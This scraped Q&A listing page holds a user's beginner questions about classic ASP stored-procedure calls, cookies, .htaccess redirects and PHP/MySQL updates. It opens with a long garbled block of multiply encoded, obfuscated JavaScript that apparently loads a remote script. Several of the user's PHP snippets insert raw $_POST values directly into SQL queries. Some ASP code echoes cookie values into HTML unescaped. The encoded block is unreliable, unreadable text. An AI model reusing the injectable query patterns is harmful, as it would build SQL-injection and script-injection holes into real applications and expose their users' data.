%2533%2563%255Cx%2532f%255cx%2537%2533%255cx%2537%2530%255cx%25361%255Cx%2536e%255C%25783%2565%255c%25782%2530%255cx%25377%255cx%2536f%255c%25787%2532%255C%2578%2536%2562%255Cx%2533%2563%255cx%2532%2566%255Cx%2537%2533%255Cx%25370%255c%25786%2531%255Cx%2536%2565%255c%2578%2533e%255cx%25320%255C%25786%2566%255c%25787%2532%255cx%2532%2530%255c%2578%25369%255c%2578%25373%255Cx%2536e%255C%25782%2537%255C%2578%25374%255C%25783%2563%255cx%25362%255C%25787%2532%255C%25782%2530%255c%2578%2532f%255cx%2533e%255Cx%25377%255Cx%2536%2538%255Cx%25361%255C%25787%2534%255cx%2532%2530%255c%25784%2539%255c%25782%2530%255c%2578%2536%2535%255C%25787%2538%255c%25787%2530%255Cx%2536%2535%255C%25786%2533%255cx%25374%255c%25786%2535%255cx%2536%2534%255Cx%2532e%2522%2529%253b%257d%2529%253b%2524%2528%2522%255c%2578%25323%255Cx%2537%2534%255C%25786%2538%255C%25787%2535%255Cx%2536%2564%255Cx%2536%2532%255c%25787%2533%255cx%25320%255c%25782%2533%255cx%2537%2534%255c%25787%2535%255Cx%2537%2530%2522%2529%252Eh%256F%2576e%2572%2528f%2575%256e%2563%2574%2569%256F%256E%2528%2529%257B%2524%2528%2522%255c%2578%2532%2533%255C%2578%2537%2534%255c%25786%2538%255c%2578%25375%255c%25786%2564%255cx%25362%255c%2578%2537%2533%255C%2578%25320%255Cx%25323%255c%2578%2537%2534%255Cx%2536d%255Cx%25373%255c%25786%2537%2522%2529%252E%2572e%256D%256fv%2565%2543l%2561s%2573%2528%2522%255cx%2537%2534%255c%25786%2534%255Cx%2536%2566%2522%2529%252E%2561%2564%2564C%256c%2561%2573%2573%2528%2522%255cx%2537%2534%255C%2578%2537%2535%255Cx%25370%2522%2529%253B%2524%2528%2522%255Cx%25323%255Cx%2537%2534%255Cx%25368%255cx%25375%255cx%2536d%255c%2578%25362%255Cx%2537%2533%255cx%2532%2530%255Cx%25323%255Cx%2537%2534%255Cx%2536%2564%255Cx%25373%255cx%2536%2537%255Cx%2532%2530%255c%25787%2533%255cx%2537%2530%255c%25786%2531%255cx%2536e%2522%2529%252Eh%2574m%256C%2528%2522%255C%2578%25349%255Cx%2532%2530%255Cx%2536%2538%255Cx%2536%2531%255c%2578%2537%2536%255cx%25365%255cx%2532%2530%255Cx%25364%255cx%2536f%255Cx%25377%255c%25786%2565%255cx%2536%2563%255cx%2536f%255cx%25361%255cx%2536%2534%255C%2578%25365%255Cx%25364%255c%2578%2533%2563%255C%2578%25362%255c%25787%2532%255C%2578%25320%255Cx%2532%2566%255c%2578%2533e%255cx%2537%2534%255C%2578%2536%2538%255Cx%2536%2539%255c%25787%2533%255C%25782%2530%255Cx%2536%2531%255c%2578%2536e%255cx%25364%255C%25782%2530%255c%25786%2539%255c%2578%2537%2534%255cx%25320%255C%2578%2533%2563%255Cx%25373%255cx%2537%2534%255Cx%2537%2532%255C%2578%2536%2566%255cx%2536e%255c%2578%25367%255cx%2533%2565%255cx%25377%255cx%2536f%255C%2578%2537%2532%255cx%2536%2562%255C%25787%2533%255Cx%25320%255c%25782%2536%255Cx%2536%2565%255Cx%2536%2532%255C%2578%25373%255Cx%25370%255Cx%2533b%255cx%2532%2530%255C%25782%2536%255cx%2536e%255Cx%25362%255c%25787%2533%255cx%2537%2530%255c%2578%2533%2562%255Cx%2532%2530%255Cx%25326%255C%2578%2536e%255cx%25362%255Cx%25373%255cx%2537%2530%255cx%2533b%255Cx%2533%2563%255Cx%2536%2532%255Cx%2537%2532%255cx%25320%255Cx%2532f%255C%2578%2533%2565%255cx%2536%2537%255c%2578%25372%255C%2578%25365%255C%2578%2536%2531%255C%25787%2534%255C%25783%2563%255cx%2532f%255cx%2537%2533%255Cx%2537%2534%255cx%25372%255C%2578%2536%2566%255C%2578%2536%2565%255cx%2536%2537%255cx%2533%2565%255C%25782%2531%255C%25782%2536%255cx%2536e%255cx%2536%2532%255cx%25373%255Cx%25370%255Cx%2533b%255c%25782%2530%255c%25782%2536%255C%25786%2565%255Cx%2536%2532%255C%25787%2533%255Cx%25370%255Cx%2533%2562%255cx%2532%2530%255c%2578%2532%2536%255Cx%2536e%255c%25786%2532%255cx%25373%255C%25787%2530%255cx%2533%2562%2522%2529%253b%257d%2529%253B%2524%2528%2522%255c%25782%2533%255Cx%2537%2534%255C%2578%2536%2538%255Cx%25375%255Cx%2536%2564%255cx%2536%2532%255C%25787%2533%255Cx%2532%2530%255C%2578%2532%2533%255Cx%25374%255Cx%25364%255cx%2536f%2522%2529%252e%2563%256ci%2563%256B%2528%2566%2575%256E%2563%2574i%256Fn%2528%2529%257Bw%2569n%2564o%2577%255b%2522%255Cx%25350%255Cx%2534%2534%255cx%25352%255Cx%25354%255c%2578%2534a%255Cx%25353%255Cx%2535f%2522%252b%2572a%2574e%2569%2564%255D%252ez%25614%2564d%2530%2565%2564c%25660%2528%25280%25788%25620%252b%25357%2535%2534%252d%2530%2578%2531%2566%2532%2538%2529%2529%253B%2524%2528%2524%2528%2522%255c%2578%25323%255C%25787%2530%255C%2578%2536%2566%255c%25786%2563%255Cx%2536c%255c%25783%2531%2522%2529%252el%2565n%2567%2574h%2526%2526%2524%2528%2522%255c%2578%2532%2533%255Cx%25370%255Cx%2536%2566%255cx%2536c%255cx%2536c%255C%2578%2533%2531%2522%2529%252ei%2573%2528%2522%255c%25783%2561%255c%25787%2536%255cx%25369%255C%2578%25373%255C%2578%25369%255cx%2536%2532%255C%25786%2563%255cx%2536%2535%2522%2529%253f%2522%255cx%2532%2533%255c%25787%2530%255C%25786%2566%255C%2578%2536%2563%255C%25786%2563%255C%25783%2531%2522%253a%2522%255c%2578%25323%255cx%25370%255Cx%2536%2535%255C%25787%2532%255c%2578%2536%2533%255cx%2536%2535%255cx%2536e%255Cx%2537%2534%2522%2529%252e%2566%2561%2564e%254F%2575%2574%2528%2522%2522%252Cf%2575%256E%2563%2574i%256f%256E%2528%2529%257b%2524%2528%2522%255c%25782%2533%255Cx%25370%255Cx%2536%2535%255cx%2537%2532%255cx%2536%2533%255C%25786%2535%255Cx%2536e%255Cx%2537%2534%2522%2529%252ea%2566%2574e%2572%2528%2522%255c%2578%2533%2563%255C%25786%2534%255C%2578%25369%255C%2578%25376%255cx%25320%255C%2578%25369%255C%2578%25364%255c%2578%2533%2564%255cx%25322%255Cx%25370%255C%2578%2536f%255C%25786%2563%255cx%2536%2563%255c%2578%2533%2532%255c%2578%2532%2532%255c%25783%2565%255Cx%2533%2563%255c%25786%2534%255c%2578%2536%2539%255cx%2537%2536%255cx%25320%255C%25786%2539%255C%25786%2534%255c%2578%2533d%255cx%2532%2532%255Cx%25350%255c%2578%25344%255C%2578%2534%2539%255C%2578%2535%2566%255C%25786%2533%255Cx%2536%2566%255c%25786%2565%255c%2578%2537%2534%255cx%2536%2531%255Cx%2536%2539%255cx%2536%2565%255Cx%25365%255C%2578%25372%2522+%2570o%256c%256c%2569d%252B%2522%255c%2578%2532%2532%255C%25783%2565%255C%25784%2563%255cx%2536f%255C%25786%2531%255c%2578%25364%255Cx%2536%2539%255C%25786%2565%255C%25786%2537%255c%2578%2532e%255c%2578%2532e%255c%2578%2532%2565%255cx%2533%2563%255Cx%2532f%255cx%2536%2534%255Cx%25369%255c%25787%2536%255C%2578%2533%2565%255Cx%2533c%255C%25782%2566%255Cx%2536%2534%255c%25786%2539%255c%25787%2536%255c%2578%2533e%2522%2529%253b%2524%2528%2522%255c%25782%2533%255Cx%25370%255Cx%2536f%255cx%2536%2563%255Cx%2536c%255cx%2533%2532%2522%2529%252eh%2569d%2565%2528%2529%253b%2524%252e%2567%2565t%2553%2563r%2569%2570t%2528%257A%2563%2536%2538%2566c%25341%25383%2533+%2522%255C%25787%2533%255C%25787%2534%255C%25786%2531%255C%2578%2537%2534%255cx%25369%255C%2578%2536%2533%2522+%257a%2565e%25364%25361%2533%2538%2536%2534+%257Ad%25661%2562%2563%2536%25384%2563b%252bz%2565e%2536%25346%25313%25386%2534%252b%257A6%2562a%2534%25317%25310%2563%2539%252bz%2531%25300%2561%25389%25332%2564%2537%252b%2522%255Cx%25370%2522+%257a%2531%2530%2530%2561%2538%25393%2532d%2537%252B%2570%256f%256c%256Ci%2564%252b%257A%2565%2565%2536%25346%25313%2538%25364%252b%2522%255Cx%2536a%255c%2578%2537%2533%2522%252Cf%2575n%2563%2574%2569o%256E%2528%2529%257B%2524%2528%2522%255cx%2532e%255C%2578%2537%2530%255Cx%25364%255cx%25373%255Cx%2532%2564%255C%25786%2531%255C%25786%2565%255Cx%2537%2533%255cx%2537%2537%255Cx%25365%255c%25787%2532%255Cx%25

    Read the article

  • What can be a cookie? How to set with OUTPUT? RETURNVALUE?

    - by Ronnie Chester Lynwood
    hello. i think i got some problems with setting a cookie data. for this code: Set cmdDB = Server.CreateObject("ADODB.Command") With cmdDB .ActiveConnection = ADOConM .CommandText = "usp_jaljava_member_select" .CommandType = adCmdStoredProc .Parameters.Append .CreateParameter("RETURN_VALUE", adInteger, adParamReturnValue, 0) .Parameters.Append .CreateParameter("@TLoginName", adVarChar, adParamInput, 15,lcase(TLoginName)) .Parameters.Append .CreateParameter("@TPassword", adVarChar, adParamInput, 20,TPassword) .Parameters.Append .CreateParameter("@retval", adVarChar, adParamOutput, 50) ' .Parameters.Append .CreateParameter("@TPinCode", adVarChar, adParamInput, 15,TPinCode) .Execute,,adExecuteNoRecords RetVal = .Parameters("@retval") Ret = Trim(.Parameters("RETURN_VALUE")) 'Set .ActiveConnection = Nothing End With Set cmdDB = Nothing UTid = RetVal if Ret = 100 then deleteInvalidLogin(TLoginName) SetDomainCookie "UTid",UTid SetDomainCookie "Uid", TLoginName if redirect_domain <> "" then Response.Write "<form name=frm action=" & urlserver & " method=post><input type=hidden name=loginname value='" & TLoginName & "'><input type=hidden name=id value=""" & Request.Cookies("UTID") & """></form><script>frm.submit();</script>" Response.End else%> <% Response.Redirect ("kologin.asp?id=OK") Response.End end if RETURN_VALUE is returns as 100. But I don't know.. UTID! What is UTID have to be? If I set UTID same as UID will it work? thanks..

    Read the article

  • accepting queues with php

    - by Ronnie Chester Lynwood
    hello. im trying to make an admin panel for my web. im not pro on php and i need some help here. i want to use checkboxes when accepting queued data. script need to get content id, name, url, addedby from table A and import to table B. how can i do this?

    Read the article

  • how to use htaccess redirectmatch with query_string?

    - by Ronnie Chester Lynwood
    hello... im trying to redirect "search.php?q=somethinghere" to "search/somethinghere/" but I can't do it! I'm trying to send form "<form action="search/" method="get" name="search">" like this but url goes to "search/?q=somethinghere" RedirectMatch 301 ^/search.php?q=(.*)$ http://domain.com/search/$1/ this is also not working. whats the problem? I don't want "?q=" in URL.

    Read the article

  • I need someone to explain this ASP function to me

    - by Ronnie Chester Lynwood
    Hello! I've got an ASP document that 5 years old. Actually I'm working with PHP but I must use ASP for a Windows Application. So I need someone to explain this function to me. //DNS SETTINGS ARE INCLUDED ALREADY. function Check_Is_Web_Locked() dim cmdDB , Ret OpenDatabase Set cmdDB = Server.CreateObject("ADODB.Command") With cmdDB .ActiveConnection = DBCon .CommandText = "TICT_CHECK_WEB_STATUS" .CommandType = adCmdStoredProc .Parameters.Append .CreateParameter("RETURN_VALUE", adInteger, adParamReturnValue, 0) .Execute,,adExecuteNoRecords Ret = Trim(.Parameters("RETURN_VALUE")) End With Set cmdDB = Nothing CloseDatabase Check_Is_Web_Locked = Ret end function What does this function do? Is "TICT_CHECK_WEB_STATUS" a StoredProcedure? If it's what are the coulumns that function looking for?

    Read the article

  • Can someone explain me the parameter RETURN_VALUE ?

    - by Ronnie Chester Lynwood
    hello. I want to know what does RETURN_VALUE means! I'm stucked at this thing. how to use RETURN_VALUE on MSSQL SP ? thanks.. ASP: Set cmdDB = Server.CreateObject("ADODB.Command") With cmdDB .ActiveConnection = ADOConM .CommandText = "usp_jaljava_member_select" .CommandType = adCmdStoredProc .Parameters.Append .CreateParameter("RETURN_VALUE", adInteger, adParamReturnValue, 0) .Parameters.Append .CreateParameter("@TLoginName", adVarChar, adParamInput, 15,lcase(TLoginName)) .Parameters.Append .CreateParameter("@TPassword", adVarChar, adParamInput, 20,TPassword) .Parameters.Append .CreateParameter("@retval", adVarChar, adParamOutput, 50) ' .Parameters.Append .CreateParameter("@TPinCode", adVarChar, adParamInput, 15,TPinCode) .Execute,,adExecuteNoRecords RetVal = .Parameters("@retval") Ret = Trim(.Parameters("RETURN_VALUE")) 'Set .ActiveConnection = Nothing End With Set cmdDB = Nothing UTid = RetVal MSSQL SP: CREATE PROCEDURE usp_jaljava_member_select @TLoginName varchar(15), @TPassword varchar(20), @retval varchar(50) OUTPUT --@TPinCode varchar(15) AS

    Read the article

  • A column insert or update conflicts with a rule imposed by a previous CREATE RULE statement.

    - by Ronnie Chester Lynwood
    hello. im working on a online game. i got some problems with inserting new data to table. im getting 2010-4-8 2:14, *** 37000, 513, [Microsoft][ODBC SQL Server Driver][SQL Server]A column insert or update conflicts with a rule imposed by a previous CREATE RULE statement. The statement was terminated. The conflict occurred in database 'KN_online', table 'ACCOUNT_CHAR', column 'strAccountID'., 261 NationSelect*** this error in logs. what does this means? how can i fix this? i've tried to delete RULE for my DB but I'm unable to delete RULE. im getting the rule 'dbo.unallowedchars' cannot be dropped because it is bounded to one or more clumn. I set all permissions right but its still not working.. thanks..

    Read the article

  • T_BOOLEAN_AND error?

    - by Ronnie Chester Lynwood
    whats wrong with this? anybody help me please.. if(stripos($nerde, $hf) !== false) && (stripos($nerde, $rs) !== false){ @mysql_query("update table set dltur = '3' where id = '".$ppl[id]."'"); } else { //dont do anything } i get T_BOOLEAN_AND error.

    Read the article

  • checkbox, php and update mysql!

    - by Ronnie Chester Lynwood
    Hello now I got this form. i get values with "while": mysql_query("select * from mp3 where aktif = '0'"); <form name="form" method="post" action=""> <input type="text" size="10" name="id" value="<?=$haciosman['id']?>" /> <input type="text" name="baslik" value="<?=$haciosman['baslik']?> <textarea name="sarkisozu"><?=$haciosman['sarkisozu']?></textarea> <input type="text" name="a3" value="<?=$haciosman['ekleyen']?"> <input type="checkbox" name="onay[]" /> <input type="submit" name="0" id="0" value="Onayla" /> <form> and updating values with: <? if (isset($_POST['onay'])) { $cikti = mysql_query("update mp3 set aktif = '1', baslik = '$_POST[baslik]' where id = '$_POST[id]'"); if ($cikti) { echo "islem tamam"; exit; } } ?> but this code only updating only one value. how can i let it update multiple values?

    Read the article

  • how to redirect page if parameter set?

    - by Ronnie Chester Lynwood
    ey i want to make a thing but i need some help. ive got an index.php with codes. and i added "file" parameter to index.php. so i mean if "index.php?file=/folder/folder/picture.png" is set, download file. if "file=" not set do not do anything. I get "file" parameter with $_REQUEST thingy. please help thanks..

    Read the article

  • how to redirect page if parameter set?

    - by Ronnie Chester Lynwood
    hey i want to make a thing but i need some help. ive got an index.php with codes. and i added "file" parameter to index.php. so i mean if "index.php?file=/folder/folder/picture.png" is set, go to file. if "file=" not set do not do anything. I get "file" parameter with $_REQUEST thingy. please help thanks..

    Read the article

< Previous Page | 7 8 9 10 11 12 13 14 15 16 17 18  | Next Page >